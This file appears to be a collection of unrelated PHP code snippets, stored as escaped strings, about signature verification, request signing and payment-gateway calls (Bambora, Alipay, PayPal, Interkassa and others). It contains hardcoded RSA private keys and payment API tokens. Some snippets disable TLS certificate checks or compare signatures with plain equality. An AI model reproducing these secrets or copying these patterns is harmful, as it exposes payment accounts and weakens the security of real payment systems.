base64_decode('MIIEowIBAAKCAQEA5NmI8GIsupuvOMXR4yfs8hK2RUmX/CKlHmLEr/b1mPr/gx+fenafOSKoXs7OUvUxF/CR0EW6iUJvJ9lmTACTZFsTfF+mSJZ76dpuh6J8BQj9lpnH+AEp05LqLr2zvlzkksrjYSW4hfaZqfUZDk8YvGsdBqDpWrEykD16R5Jv5Iw/Y13Jd99F5zYU+Z3M+XdBSrFSaDwU5GeiOQVyl8q/Bt9gY7O1HfqYY9udXmAzPfEaZdCqCj7B8V8Sj7Wc92TZ/fHabZFKzfhVwfHCAzK4mQZ1be8snJd1f9R2peqjzBEINGdOnAnm0rGItKZJY91LMYi5H6Wh/Qh21CYY4Ne2wwIDAQABAoIBAEKXQg+goZ9TOfNtLJvKvFncNAmJVp5Zfm6PEuiZFfID52HCS+eYqNA5U4Dy8HqXOkfbCrLt90+Fc07HJcsrx7fGAK+KLZqlnzz3AH6bOzdD3HZ8HQH/ZKpZ76bWMH1ODnzgaLWWAlGI5kHcPgQ549q/2FxbakunkC0ElpZI+CIqWEf0zNfTXOpExMWx+FENntk/qpHijE+zcbh1/cy8Bsmj0WcXZ3aTDElG3XCC21rPd7zgrFeL6Sy26Br0eqxqddatghZHB5PhZYE4BYM3AlZTZVfuDHogXn4BXILTyV+oQHNUzHKjStfVryJnslnWVAF5whaXGm1fyRY3WBAEmuECgYEA+AivBccqnKfgB7BTDTUMCdt7v+vVbR7CEZc5/jCRy+N0R6NN/L/+LdAAjsodjzVmkLOUzPbZhw72hHXA63RijAhSDeg8IdCUY1YVygyr5KZpHRnn96XJOucPCCFWFfiToJ2Qz+JfZMBUt9HhsSWGS2jF2hUGjixhRwFwTd5xtYsCgYEA7DMe0bJeF336UtgrY9MNVC1sc/A8sEeYtlr47rcLlRDboaO9PRsuIMssxiZ/9uRkYP1FDmS3S8pgwg4UuoVUYHg5Tt95iq3aK0BRQnpKuGIerbBCwFUBZMwpP1DW3fMKtOQ5pjoV74tqR+df7gD0hWlfMFV8WUP9vXLa+XBcWqkCgYEA85sbw3IEsQ3UY9jTCSKzqy7NUQcgfGb8NmiwBa7QU08XUpDatMYgsAAdvCBYfeH11WL7X3+G0DZq+lfo3ZhWfbBiXtRb0t5YD2RqTCK75PtoO7PI95r1lAuB4PtU4Ile/R4kL3jnNj4MNupFX0Y6qu/BetqxsIt4E1QfZ+t1BNcCgYBrDiCB2t5at3al5eSEsjvwU0Y8pj5bh5fnzwPU7pIJVkK12IkFETSvGGeKyBhnxszYSPLruyp455lDWy55+8RqlRMkdJWaDYI86EHsZ5FGUPKmtqUKl3yyOvbXA8TfhDDuHCMk/F7E2+OoA26vaS9q6H+EYLqjmvV+0Hf/ZrX1QQKBgGd8r9wi+fPG3IgGXHBQjmnVgaPNsvQzBKFmHrER0/iLZuA9A2R5x7DxZdHUSRWaPADIaHiU1O9jbNJCk7Jtnqn7M85Q0SRsqZhA2+28/1bmqrTkQmT7T9Q4+hUEN+qehZx83BkRYaP1QWuH11UcRxFr+O3HNXlC9mAG/zt6HhuV');\n $sig = hash_hmac('SHA1', $date, $key, true);\n $sig = base64_encode($sig);\n return $sig;\n }", "function hasValidBitcointalkData()\n{\n $isValid =\n isset($_POST[\"profil\"]) && isset($_POST[\"signature\"]);\n \n return $isValid;\n}", "function getpixabayimages($arr_data)\n{\n require_once INCLUDES_DIR .'/api.php';\n $class = new RFI\\API\\API();\n $arr_pixabay = json_decode($class->pixabay($arr_data));\n \n $arr_pixa=[];\n if (isset($arr_pixabay->hits) && !empty($arr_pixabay->hits)) {\n foreach ($arr_pixabay->hits as $data) {\n $arr_pixa[] = array(\n 'imageurl' => $data->largeImageURL,\n 'imageurlsmall' => $data->webformatURL,\n 'username' => $data->user,\n 'landing' => $data->pageURL,\n 'userimage'=> $data->userImageURL,\n 'credit' => 'pixabay',\n 'userlink' => 'https://pixabay.com/users/'.$data->user.'-'.$data->user_id\n );\n }\n }\n return $arr_pixa;\n}", "function makePayment($arr) {\n\t$accessToken = \"eYgzn2wfvScb1aIf3QLs\";\n\t$merchantNumber = \"T511564901\";\n\t$secretToken = \"1qcvgmCNmSvP1ikAG38uSoAPr7ePByuMcWuMWKsa\";\n\n\t$apiKey = base64_encode(\n\t\t$accessToken . \"@\" . $merchantNumber . \":\" . $secretToken\n\t);\n\n\t$checkoutUrl = \"https://api.v1.checkout.bambora.com/sessions\";\n\n\t$request = array();\n\t$request[\"order\"] = array();\n\t$request[\"order\"][\"id\"] = $arr['orderID'];\n\t$request[\"order\"][\"amount\"] = $arr['amount'];\n\t$request[\"order\"][\"currency\"] = \"NOK\";\n\n\t$request[\"url\"] = array();\n\t$request[\"url\"][\"accept\"] = $arr['acceptURL'];\n\t$request[\"url\"][\"cancel\"] = $arr['cancelURL'];\n\t$request[\"url\"][\"callbacks\"] = array();\n\t$request[\"url\"][\"callbacks\"][] = array(\"url\" => $arr['callbackURL']);\n\n\t$requestJson = json_encode($request);\n\n\t$contentLength = isset($requestJson) ? strlen($requestJson) : 0;\n\n\t$headers = array(\n\t\t'Content-Type: application/json',\n\t\t'Content-Length: ' . $contentLength,\n\t\t'Accept: application/json',\n\t\t'Authorization: Basic ' . $apiKey\n\t);\n\n\t$curl = curl_init();\n\n\tcurl_setopt($curl, CURLOPT_CUSTOMREQUEST, \"POST\");\n\tcurl_setopt($curl, CURLOPT_POSTFIELDS, $requestJson);\n\tcurl_setopt($curl, CURLOPT_URL, $checkoutUrl);\n\tcurl_setopt($curl, CURLOPT_RETURNTRANSFER, true);\n\tcurl_setopt($curl, CURLOPT_HTTPHEADER, $headers);\n\tcurl_setopt($curl, CURLOPT_FAILONERROR, false);\n\tcurl_setopt($curl, CURLOPT_SSL_VERIFYPEER, false);\n\n\t$rawResponse = curl_exec($curl);\n\t$response = json_decode($rawResponse);\n\t\n\treturn $response;\n}", "public function checkSignMsg($param)\n {\n $datas = [\n 'merchantAcctId', 'version', 'language', 'signType', 'payType',\n 'bankId', 'orderId', 'orderTime', 'orderAmount', 'dealId',\n 'bankDealId', 'dealTime', 'payAmount', 'fee', 'ext1',\n 'ext2', 'payResult', 'payIp', 'errCode', 'signMsg',\n ];\n $pay_params = [];\n foreach($datas as $key){\n $pay_params[$key] = isset($param[$key]) ? $param[$key] : '';\n }\n return $this->weiboapi->checkSignMsg($pay_params);\n }", "public function testAddSignature()\n {\n $data = array(\n 'foo' => 'baa'\n );\n\n $transaction = $this->client->transaction()->addSignature(655, $data);\n $this->assertEquals($data, get_object_vars($transaction->post), 'Passed variables are not correct');\n $this->assertEquals('POST', $transaction->request_method, 'The PHP Verb Is Incorrect');\n $this->assertEquals('/transactions/655/signature/capture', $transaction->path, 'The path is incorrect');\n\n }", "public static function verify($params = [])\n {\n if (empty($params) || !isset($params['company_code']) || !isset($params['store_code'])) {\n ApiLog::info('['.__FUNCTION__.'] ===> Invalid parameters: '.json_encode($params));\n return false;\n }\n\n $CI =& get_instance();\n $CI->load->library('rsv/Rsvencryption');\n $CI->load->config('api');\n $apiKeyName = $CI->config->item('api_key_name');\n\n if (!isset($params[$apiKeyName])) {\n ApiLog::info('['.__FUNCTION__.'] ===> Invalid parameters: the key ['.$apiKeyName.'] does not exist.');\n return false;\n }\n\n try {\n $hashed = $CI->rsvencryption->createApiKey($params['company_code'], $params['store_code']);\n return $hashed === $params[$apiKeyName];\n } catch (Exception $e) {\n ApiLog::info('['.__FUNCTION__.'] ===> Encyption failed: ['.$e->getMessage().']');\n return false;\n }\n }", "private function validPayload()\n {\n return [\n 'name' => 'Chefaa pharmacy',\n 'address' => 'Maadi',\n ];\n }", "function rsaSign($data,$strValidationPrvkey,$algo){\r\n //$p = openssl_pkey_get_private(file_get_contents('private.pem'));\r\n $p=openssl_pkey_get_private($strValidationPrvkey);\r\n openssl_sign($data, $signature, $p,$algo);\r\n openssl_free_key($p);\r\n return base64_encode($signature);\r\n}", "function simpleid_verify_signatures($request) {\n global $version;\n \n log_info('simpleid_verify_signatures');\n \n $is_valid = TRUE;\n \n $assoc = (isset($request['openid.assoc_handle'])) ? cache_get('association', $request['openid.assoc_handle']) : NULL;\n $stateless = (isset($request['openid.response_nonce'])) ? cache_get('stateless', $request['openid.response_nonce']) : NULL;\n \n if (!$assoc) {\n log_notice('simpleid_verify_signatures: Association not found.');\n $is_valid = FALSE;\n } elseif (!$assoc['assoc_type']) {\n log_error('simpleid_verify_signatures: Association does not contain valid assoc_type.');\n $is_valid = FALSE;\n } elseif (!isset($assoc['private']) || ($assoc['private'] != 1)) {\n log_warn('simpleid_verify_signatures: Attempting to verify an association with a shared key.');\n $is_valid = FALSE;\n } elseif (!$stateless || ($stateless['assoc_handle'] != $request['openid.assoc_handle'])) {\n log_warn('simpleid_verify_signatures: Attempting to verify a response_nonce more than once, or private association expired.');\n $is_valid = FALSE;\n } else {\n $mac_key = $assoc['mac_key'];\n $assoc_types = openid_association_types();\n $hmac_func = $assoc_types[$assoc['assoc_type']]['hmac_func'];\n \n $signed_keys = explode(',', $request['openid.signed']);\n $signature = openid_sign($request, $signed_keys, $mac_key, $hmac_func, $version);\n log_debug('***** Signature: ' . $signature);\n \n if ($signature != $request['openid.sig']) {\n log_warn('simpleid_verify_signatures: Signature supplied in request does not match the signatured generated.');\n $is_valid = FALSE;\n }\n \n cache_delete('stateless', $request['openid.response_nonce']);\n }\n \n return $is_valid;\n}", "public function verify() {\n\t\t$this->getBasics();\n\t\t$this->getParams();\n\t\t$this->getLanguage();\n\n\t\t$this->load->model( 'checkout/order' );\n\t\t$this->load->library( 'encryption' );\n\n\t\t$encryption = new Encryption( $this->config->get( 'config_encryption' ) );\n\n\t\t$forbidden\t\t\t= array( 'route', 'hash', 'email_sender', 'email_recipient' );\n\t\t$retData\t\t\t= array();\n\t\t$securityCriteria\t= 0; // integer!\n\t\t$project_id\t\t\t= '0';\n\t\t$err\t\t\t\t= false;\n\n\t\t// filter variables\n\t\tforeach( $this->request->post as $key => $value) {\n\t\t\tif( !in_array( $key, $forbidden ) ) {\n\t\t\t\t$retData[$key] = html_entity_decode( $value, ENT_QUOTES, 'UTF-8' );\n\t\t\t}\n\n\t\t\t// get value of security_criteria\n\t\t\tif( $key == 'security_criteria' ) {\n\t\t\t\t$securityCriteria = $value;\n\t\t\t}\n\n\t\t\t// decrypt order_id\n\t\t\tif( $key == 'user_variable_3' ) {\n\t\t\t\t$order_id = $encryption->decrypt( $value );\n\t\t\t}\n\n\t\t\t// get hash value\n\t\t\tif( $key == 'hash' ) {\n\t\t\t\t$this->hashValue = $value;\n\t\t\t}\n\n\t\t\t// get project id\n\t\t\tif( $key == 'project_id' ) {\n\t\t\t\t$project_id = $value;\n\t\t\t}\n\t\t}\n\n\t\tif( $this->_debug == 1 ) {\n\t\t\techo '## FUNCTION verify' . \"\\n\";\n\t\t\techo '## calling getNotifyHash:' . \"\\n\";\n\t\t}\n\n\t\t// calculate hash value\n\t\t$hash = $this->getNotifyHash( $retData );\n\n\t\tif( $this->_debug == 1 ) {\n\t\t\techo \"\\n\" . '## $_POST data from directebanking:' . \"\\n\";\n\t\t\tprint_r( $_POST ) . \"\\n\";\n\t\t\techo 'retData (cleaned POST for calculating hash):' . \"\\n\";\n\t\t\tprint_r( $retData );\n\t\t\techo \"\\n\";\n\n\t\t\techo '--> submitted hash [' . $this->hashValue . ']' . \"\\n\";\n\t\t\techo '--> calculated hash [' . $hash . ']' . \"\\n\";\n\t\t\techo '--> securityCriteria [' . ( $securityCriteria ? 'true' : 'false' ) . ']' . \"\\n\";\n\n\t\t\t// write also log entry\n\t\t\t$msg = '## $_POST data from directebanking:<br />'\n\t\t\t. print_r( $_POST, true )\n\t\t\t. '<br />retData (cleaned POST for calculating hash):<br />'\n\t\t\t. print_r( $retData, true )\n\t\t\t. '<br />--> submitted hash [' . $this->hashValue . ']<br />'\n\t\t\t. '--> calculated hash [' . $hash . ']<br />'\n\t\t\t. '--> securityCriteria [' . ( $securityCriteria ? 'true' : 'false' ) . ']<br />'\n\t\t\t. '~~~~~~~~~~~~~~~~~~~~~~';\n\n\t\t\t$this->writeLog( $msg );\n\t\t}\n\n\t\t$comment = $this->_param['testMode'] ? $this->language->get( 'text_testOrder') : '';\n\n\t\t// check generated and submitted hash values\n\t\tif( $hash === $this->hashValue ) {\n\t\t\tif( $securityCriteria == 1 && $order_id ) {\n\t\t\t\t// order is okay, set order to predefined directebanking status\n\t\t\t\t$this->model_checkout_order->confirm(\n\t\t\t\t\t$order_id,\n\t\t\t\t\t$this->config->get( 'directebanking_order_status_id'),\n\t\t\t\t\t$comment\n\t\t\t\t);\n\n\t\t\t\t$msgDb\t= sprintf( $this->language->get( 'text_log_hash_okay'), $project_id );\n\t\t\t\t$msg\t= sprintf( $this->language->get( 'text_log_valid'), $project_id, $order_id );\n\t\t\t\t$type\t= 2;\n\t\t\t}else{\n\t\t\t\t// order is not okay, set order to predefined config status\n\t\t\t\t$this->model_checkout_order->confirm(\n\t\t\t\t\t$order_id,\n\t\t\t\t\t$this->config->get( 'config_order_status_id' ),\n\t\t\t\t\t$comment\n\t\t\t\t);\n\n\t\t\t\t$msgDb\t= sprintf( $this->language->get( 'text_log_security_invalid'), $project_id, $order_id );\n\t\t\t\t$msg\t= $msgDb;\n\t\t\t\t$type\t= 3;\n\t\t\t}\n\t\t}else{\n\t\t\t// order is not okay, set order to predefined config status\n\t\t\t$this->model_checkout_order->confirm( $order_id, $this->config->get( 'config_order_status_id' ), $comment );\n\n\t\t\t$msgDb\t= sprintf( $this->language->get( 'text_log_hash_notokay'), $project_id );\n\t\t\t$msg\t= sprintf( $this->language->get( 'text_log_hash_dif'), $project_id, $order_id );\n\t\t\t$type\t= 3;\n\t\t}\n\n\t\t// write log\n\t\t$this->writeLog( $msg, $type );\n\t\t// echo message at directebanking\n\t\tif( $this->_debug == 1 ) {\n\t\t\techo $msgDb . \"\\n\";\n\t\t}\n\t}", "abstract public function verify($data, $signature);", "public function is_signed() : bool\n {\n return ($this->signed) ? true : false;\n }", "protected function checkSignature()\n {\n $headers = \\Yii::$app->request->headers;\n\n $signature = $headers->get('paypal-transmission-sig');\n if (!$signature)\n throw new BadRequestHttpException;\n\n $checkString = sprintf('%s|%s|%s|%s',\n $headers->get('paypal-transmission-id'),\n $headers->get('paypal-transmission-time'),\n $this->webHookId,\n crc32(\\Yii::$app->request->rawBody)\n );\n\n $certUrl = $headers->get('paypal-cert-url');\n if (!$certUrl)\n throw new BadRequestHttpException;\n\n $publicKey = $this->fetchPublicKey($certUrl);\n if (!$publicKey)\n throw new \\Exception('Certificate error');\n\n// $algo = ArrayHelper::getValue($headers, 'paypal-hash-algo');\n\n $result = openssl_verify($checkString, base64_decode($signature), $publicKey);\n return $result === 1;\n }", "function sign()\r\n {\r\n return $this->Sign;\r\n }", "public function testPgwSuccessResponseSignatureGenerator()\n {\n $response = array(\n 'pgw_trace_ref' => '20000445-7572eef90f922e2529c2f813ba4edeaa-20150707112327024',\n 'pgw_transaction_id' => '6055',\n 'pgw_order_id' => '559b9a4c78d29',\n 'pgw_amount' => 123,\n 'pgw_installments' => 3,\n 'pgw_card_type_id' => 3,\n 'pgw_merchant_data' => '',\n 'pgw_signature' => '5f61773a2dca6d4a57797efc0171116ed608e7c5c78e9880bea5d9e8459efa2acf30360866b303c37b8ce63770a04a88ebfbd8b05a6814247667d75940e64a66',\n );\n\n $this->assertEquals(\n '5f61773a2dca6d4a57797efc0171116ed608e7c5c78e9880bea5d9e8459efa2acf30360866b303c37b8ce63770a04a88ebfbd8b05a6814247667d75940e64a66',\n SignatureGenerator::generateSignatureFromArray('new-secret-key', $response)\n );\n }", "public function testFindSignatures()\n {\n\n }", "abstract function is_payments_sandbox();", "public function storeTypeList(Request $request){\n// echo \"<pre>\";print_r($c);die;\n// $c->gatewayUrl = \"https://openapi.alipay.com/gateway.do\";\n// $c->appId = \"2017022005778017\";\n// $c->rsaPrivateKey = 'MIIEvwIBADANBgkqhkiG9w0BAQEFAASCBKkwggSlAgEAAoIBAQCqLzSzP0JGPdwvriKNX5pLnC3eMcljMi0DyPKPLkL1eF8d/die1x+XpxFdCCrOKFjtP9/idSpG35Nl79T0GANijGldpQHR+e5ClH8zrKM2AjdMAyrYfsohyLUj0TeacXWvUZjPR4h+33u/CZggP1XqqsmN/+oAcMqmbS8eFyq+u1r2j5cVWXnM/qgNfWdnCYHqOMEY3BhvAvRrHFVoxADBTh3CJOGjt1IcVycbB/kOBri/RLANYqx6unKdfqRtlgUvaPRyj4rwBpuN3SwJTpmspg/hsQDZhJhTssMSwC9w4O3muArws0efDTmvg4+QUszsRUexlm5JJ15SHau/s6fhAgMBAAECggEBAJEyw2jnYPkjEDiR/qLV3YQDFVNM8QC0L5naGbE1jCV49NZW3TnwWuD9xp+0Nyk7XVvWMoM46cAcQtsm+27jCghLuh4OiXYIIlMl9T02Xu3WiC1PSn/59SVL49hSSXl4sirJmHHJG1j7/c1pNyTURM55totzu8dydEP4RcoLhAnD1Gkl3PPWQx5psTVKR99xld23Ukw+MyaZX6iw9X1uQ3EidhCLMwTIb/0CXDCHbh/TA215BfA9cY/s+NlnJ4hYOTgE4CxORRoS4Z4lEP0Wvh1tLnBZDdj80qo73K8O6bLAMtAZHj09U7ky/8QkKy3OO0G+qplT0MKhEzsxi8BIxt0CgYEA5D0H7RdBwWt6t8R64aupHLpGu4ZvyE6oPHYUU9kDniPCMKgXOfCvAZCFqKiq0BH5pNrmtsxBWexwtTOm/4HSLNXJoixw2AEgcVRXyhbPI6+0sJ8rwR+p5Hl8kvzMRXsc91EsLY1OP1e6Jv3Sek1+dzVXzbkMpKNCZhsZ6habgOMCgYEAvuJ38i03h/BHe51OAV9OzuxtXPrSUnB7lLxC2eWyrG5HpLHX+uzYnRJbYUmdDrn2KWmsdE5n3MoBhrM6qmmoZSlceedMuAzdWTCH0VROmE1er6KrM+ng4DPvsebFFl4D/5fSdjsvS8xRiOvBSNKnGHg+0/yCp3fo8bsOXWY/Y2sCgYEAvlkMADbSNz6tBRAPL6BblMLh9Mlk9phrBKmxwFAQDVZjQPMfE8pgGhzu679nXcpv+oY5viBRLG7dfLHMR/F8WLofxGnt3qfp57pg0QD+1hNWzaqh8hm3Nf3/4BKHRjcr7DM9dewQYxGGBbjQTgHNRBwv0znOioxB9ygJD8q0++MCgYEAgqJUeh2t2k97bEK8Zr4GHiC5u59AHwEx4hlxGtRTEiSqzTCU4foDSIOOnCcX4EMuDyttxW7/L5/jqX6xUHzcrNbAngDIhVDwjyBiYsTywNJ6UXLe/bk6l9WTXcnT6bnPvLT3aMiaVqJuzmihr6fSiTGJteQiul+awQxGCW93RB8CgYBjV0zCngYruutn9Sc2x4rh/KRwywjYUYtKE78ajQGUA/5Qd3/v2Ux7f/fJU/+B5jn9Ht5bfLm11bJMcsRyNXl3oxRZQvAnRpMAej4ajw0UEnYusApHa1RR4IR8pLjj6rGDmCu1f/OUg7QKWA1nIh536zfrvclquF6BYujaIld8pA==' ;\n// $c->format = \"json\";\n// $c->charset= \"GBK\";\n// $c->signType= \"RSA2\";\n//\n////实例化具体API对应的request类,类名称和接口名称对应,当前调用接口名称:alipay.open.public.template.message.industry.modify\n// $request = new \\AlipayOpenPublicTemplateMessageIndustryModifyRequest();\n////SDK已经封装掉了公共参数,这里只需要传入业务参数\n////此次只是参数展示,未进行字符串转义,实际情况下请转义\n// $request->setBizContent = \"{\" +\n// \" \\\"primary_industry_name\\\":\\\"IT科技/IT软件与服务\\\",\" +\n// \" \\\"primary_industry_code\\\":\\\"10001/20102\\\",\" +\n// \" \\\"secondary_industry_code\\\":\\\"10001/20102\\\",\" +\n// \" \\\"secondary_industry_name\\\":\\\"IT科技/IT软件与服务\\\"\" +\n// \" }\";\n// $response= $c->execute($request);\n//\n// dd($response);\n// $a = $c ->echoDebug('123');\n// echo \"<pre>\";print_r($a);die;\n\n if($request->ajax()){\n //获取要搜索的字段\n $params = ['id'=>'string','name'=>'string'];\n $search_params = $this->getInput([],$params,$request);\n\n //获取要排序的字段 默认按创建时间倒序\n $sort = Input::get('sort','created_at');\n $order = Input::get('order','desc');\n\n //要返回的数组\n $arr = ['total'=>0,'rows'=>[]];\n\n //数据获取与处理\n $goodsType = new GoodsType();\n $goodsTypeCount = new GoodsType();\n $query = $goodsType->select(array_keys($this->form['field']));\n foreach($search_params as $k=>$v){\n if(!empty($v)){\n if($k == 'name'){\n $query = $query->where($k,'like',$v.'%');\n $goodsTypeCount = $goodsTypeCount->where($k,'like','%'.$v.'%');\n }else{\n $query = $query->where($k,'=',$v);\n $goodsTypeCount = $goodsTypeCount->where($k,'=',$v);\n }\n }\n }\n $user = Session::get('user');\n $query = $query->where('type','=',2);\n $goodsTypeCount = $goodsTypeCount->where('type','=',2);\n $dataList1 = $query->orderBy($sort,$order)->paginate(10);\n $arr['total'] = $goodsTypeCount->count();\n $dataList1 = $dataList1->toArray();\n\n //显示隐藏\n foreach ($dataList1['data'] as $key=>$row){\n foreach($this->form['field'] as $k=>$item){\n if($k == 'pid'){\n $goodsType = GoodsType::find($row[$k]);\n if( $row[$k]){\n $arr['rows'][$key][$k] = $goodsType->name;\n }else{\n $arr['rows'][$key][$k] = '商城';\n }\n }elseif($k == 'pic'){\n if(!empty($row[$k])){\n $arr['rows'][$key][$k] = '<a href=\"/'.$row[$k].'\" target=\"_blank\">'.$row[$k].'</a>';\n }else{\n $arr['rows'][$key][$k] = '-';\n }\n }else{\n $arr['rows'][$key][$k] = $row[$k];\n }\n }\n }\n return response()->json($arr);\n }else{\n return view('admin/common/list',['title'=>WEBNAME.' - 商品类型列表','form'=>$this->form]);\n }\n }", "private function checkSignature($token)\r\n {\r\n /*if (!defined(\"TOKEN\")) {\r\n throw new Exception('TOKEN is not defined!');\r\n }*/\r\n\r\n $signature = $_GET[\"signature\"];\r\n $timestamp = $_GET[\"timestamp\"];\r\n $nonce = $_GET[\"nonce\"];\r\n\r\n //$token = TOKEN;\r\n $tmpArr = array($token, $timestamp, $nonce);\r\n // use SORT_STRING rule\r\n sort($tmpArr, SORT_STRING);\r\n $tmpStr = implode( $tmpArr );\r\n $tmpStr = sha1( $tmpStr );\r\n\r\n if( $tmpStr == $signature ){\r\n return true;\r\n }else{\r\n return false;\r\n }\r\n }", "private function hash_validation() { //check hash\n\n\t\t$testMode = getRequest('ik_pw_via');\n\n\t\tif(isset($testMode) && $testMode == 'test_interkassa_test_xts'){\n\t\t\t$secretKey = $this->object->test_key;\n\t\t} else {\n\t\t\t$secretKey = $this->object->secret_key;\n\t\t}\n\n\t\t$data = array();\n\n\t\tforeach ($_REQUEST as $key => $value) {\n if (!preg_match('/ik_/', $key)) continue;\n $data[$key] = $value;\n }\n\n\t\t$ik_sign = $data['ik_sign'];\n\t\t$sign = $this->createSign($data,$secretKey);\n\n\t\t$this->wrlog(\"hash: \".$sign);\n\t\t$this->wrlog(\"ik_sign: \".$ik_sign);\n\t\treturn $sign == $ik_sign ? true : false;\n\t}", "function verifyPaymentDatafeed($src, $prc, $successCode, $merchantReferenceNumber, $paydollarReferenceNumber, $currencyCode, $amount, $payerAuthenticationStatus, $secureHashSecret, $secureHash) {\r\n\t$buffer = $src . '|' . $prc . '|' . $successCode . '|' . $merchantReferenceNumber . '|' . $paydollarReferenceNumber . '|' . $currencyCode . '|' . $amount . '|' . $payerAuthenticationStatus . '|' . $secureHashSecret;\r\n\t$verifyData = sha1($buffer);\r\n\tif ($secureHash == $verifyData) { return true; }\r\n\treturn false;\r\n}", "public function testGetWaiverSignatures()\n {\n $response = APISuccessResponses::signatures(1, 1, 1);\n\n $container = [];\n $sw = $this->createMockedSmartwaiver($container, $response, 1);\n\n $signatures = $sw->getWaiverSignatures('6jebdfxzvrdkd');\n $this->assertInstanceOf(SmartwaiverSignatures::class, $signatures);\n\n $paths = ['/v4/waivers/6jebdfxzvrdkd/signatures'];\n $this->checkGetRequests($container, $paths);\n }", "public function getInfoPayment()\n {\n $response = $this->client->request($this->methods['post'],'sandbox', [\n 'json' => [\n 'MERCHANT_TRANS_ID' => $this->merchant_trans_id,\n 'SIGN_TIME' => $this->generateSignTime(),\n 'SIGN_STRING' => md5($this->SECRET_KEY. $this->merchant_trans_id. $this->sign_time)\n ]\n ]);\n\n return json_decode($response->getBody());\n }", "public function verify($transaction)\n {\n }", "function fn_rus_payments_payanyway_send_order_info($params, $order_info)\n{\n $inventory_positions = fn_rus_payments_payanyway_get_inventory_positions($order_info);\n\n if (!empty($inventory_positions)) {\n $data = array(\n 'id' => $params['MNT_TRANSACTION_ID'],\n 'checkoutDateTime' => date(DATE_ATOM),\n 'docNum' => $params['MNT_TRANSACTION_ID'],\n 'docType' => 'SALE',\n 'email' => $order_info['email'],\n 'inventPositions' => $inventory_positions,\n 'moneyPositions' => array(array('paymentType' => 'CARD', 'sum' => $params['MNT_AMOUNT']))\n );\n\n $mnt_dataintegrity_code = $order_info['payment_method']['processor_params']['mnt_dataintegrity_code'];\n $data['signature'] = md5($data['id'] . $data['checkoutDateTime'] . $mnt_dataintegrity_code);\n $jsonData = json_encode($data);\n $operationUrl = PAYANYWAY_GATEWAY_URL . '/api/api.php?method=sale&accountid=' . $params['MNT_ID'];\n\n $extra = array(\n 'headers' => array(\n 'Content-Type: application/json',\n 'Content-Length: ' . strlen($jsonData)\n ),\n 'log_preprocessor' => '\\Tygh\\Http::unescapeJsonResponse'\n );\n\n Http::post($operationUrl, $jsonData, $extra);\n }\n}", "public function verifyPayConfirm(Request $request = NULL) {\n $data_xml = simplexml_load_string($request->query->get('DATA'));\n if (Crypt::hashBase64($request->query->get('DATA')) == $request->query->get('SIGNATURE')) {\n if ((string) $data_xml['ACCOUNTID'] == $request->query->get('ACCOUNTID')) {\n return new Response(SafeMarkup::format(\"OK:ID=@ID&TOKEN=@TOKEN\", array(\n '@ID' => (string) $data_xml['@ID'],\n '@TOKEN' => (string) $data_xml['@TOKEN'],\n )));\n }\n else {\n return new Response(\"ERROR: Verification failed, Account ID doesn't match\");\n }\n }\n else {\n return new Response(\"ERROR: Verification failed, signature invalid\");\n }\n }", "public function validate(array $data) : bool\n {\n // If we dont have all the required parts for decryption exit.\n if (! isset( $data['iv'], $data['data'], $data['mac'])) {\n return false;\n }\n\n // If the extracted iv is invalid exit.\n $iv = base64_decode($data['iv']);\n\n if (strlen( $iv ) !== SODIUM_CRYPTO_SECRETBOX_NONCEBYTES) {\n return false;\n }\n\n return hash_equals($this->hash(base64_decode($data['data']), $iv), $data['mac']);\n }", "function get_signable_parameters($params){\n $sorted = $params;\n ksort($sorted);\n\n $total = array();\n foreach ($sorted as $k => $v) {\n if ($k == 'oauth_signature') {\n continue;\n }\n\n $total[] = rawurlencode($k) . '=' . rawurlencode($v);\n }\n return implode('&', $total);\n }", "public function isGameSign(Sign $tile){\n foreach($this->HGApi->getAllGameArenas() as $arena){\n $val = \"{$tile->x}:{$tile->y}:{$tile->z}:{$tile->level->getName()}\";\n if(isset($arena->getAll()[\"sign_list\"][$val])) return true;\n }\n return false;\n }", "public function checkSig($sigfile) {\n\t\tif (!is_file($sigfile)) {\n\t\t\tthrow new \\Exception(sprintf(_(\"checkSig was given %s, which is not a file\"),$sigfile));\n\t\t}\n\n\t\t$out = $this->runGPG(\"--output - \".escapeshellarg($sigfile));\n\n\t\t// Check to see if we don't know about this signature..\n\t\tif (isset($out['status'][2]) && preg_match('/NO_PUBKEY (.+)/', $out['status'][2], $keyarr)) {\n\t\t\t// We don't. Try to grab it.\n\t\t\ttry {\n\t\t\t\t$this->getKey($keyarr[1]);\n\t\t\t} catch (\\Exception $e) {\n\t\t\t\t// Couldn't download the key.\n\t\t\t\treturn array(\"status\" => self::STATE_INVALID);\n\t\t\t}\n\t\t\t// And now run the validation again.\n\t\t\t$out = $this->runGPG(\"--output - \".escapeshellarg($sigfile));\n\t\t}\n\n\t\t$status = $this->checkStatus($out['status']);\n\t\tif (!$status['trust']) {\n\t\t\t$longkey = substr($this->freepbxkey, -16);\n\t\t\t$sigout = $this->runGPG(\"--keyid-format long --with-colons --check-sigs \".$status['signedby']);\n\t\t\tif(preg_match('/^rev:!::1:'.$longkey.'/m',$sigout['stdout'])) {\n\t\t\t\treturn array(\"status\" => self::STATE_REVOKED, 'trustdetails' => array(\"Signed by Revoked Key\"));\n\t\t\t}\n\t\t\t$status['parsedout'] = @parse_ini_string($out['stdout'], true);\n\t\t\treturn $status;\n\t\t}\n\t\t// Silence warnings about '# not a valid comment'.\n\t\t// This should be removed after 12beta is finished.\n\t\t$modules = @parse_ini_string($out['stdout'], true);\n\t\t$modules['rawstatus'] = $status;\n\t\treturn $modules;\n\t}", "#[ArrayShape([\"bits\" => \"int\", \"key\" => \"string\", \"rsa\" => \"array\", \"dsa\" => \"array\", \"dh\" => \"array\", \"type\" => \"int\"])]\nfunction openssl_pkey_get_details(#[LanguageLevelTypeAware([\"8.0\" => \"OpenSSLAsymmetricKey\"], default: \"resource\")] $key): array|false {}", "public function savedata(Request $req){\n \n /* All Required Parameters by your Gateway will differ from gateway to gateway refer the gate manual */\n \n $txnid = substr(hash('sha256', mt_rand() . microtime()), 0, 20);\n $hashSequence = \"key|txnid|amount|productinfo|firstname|email|udf1|udf2|udf3|udf4|udf5|udf6|udf7|udf8|udf9|udf10\";\n\n $hashVarsSeq = explode('|', $hashSequence);\n $hash_string = '';\t\n\tforeach($hashVarsSeq as $hash_var) {\n $hash_string .= isset($posted[$hash_var]) ? $posted[$hash_var] : '';\n $hash_string .= '|';\n }\n\n $hash_string .= 'TrxgYYoPbH';\n\n $amount = $req['amount'];\n $firstname = $req ['firstname'];\n $email = $req ['email'];\n $phone = $req ['phone'];\n\n $hash = strtolower(hash('sha512', $hash_string));\n\n \n $parameters = [\n 'key' => 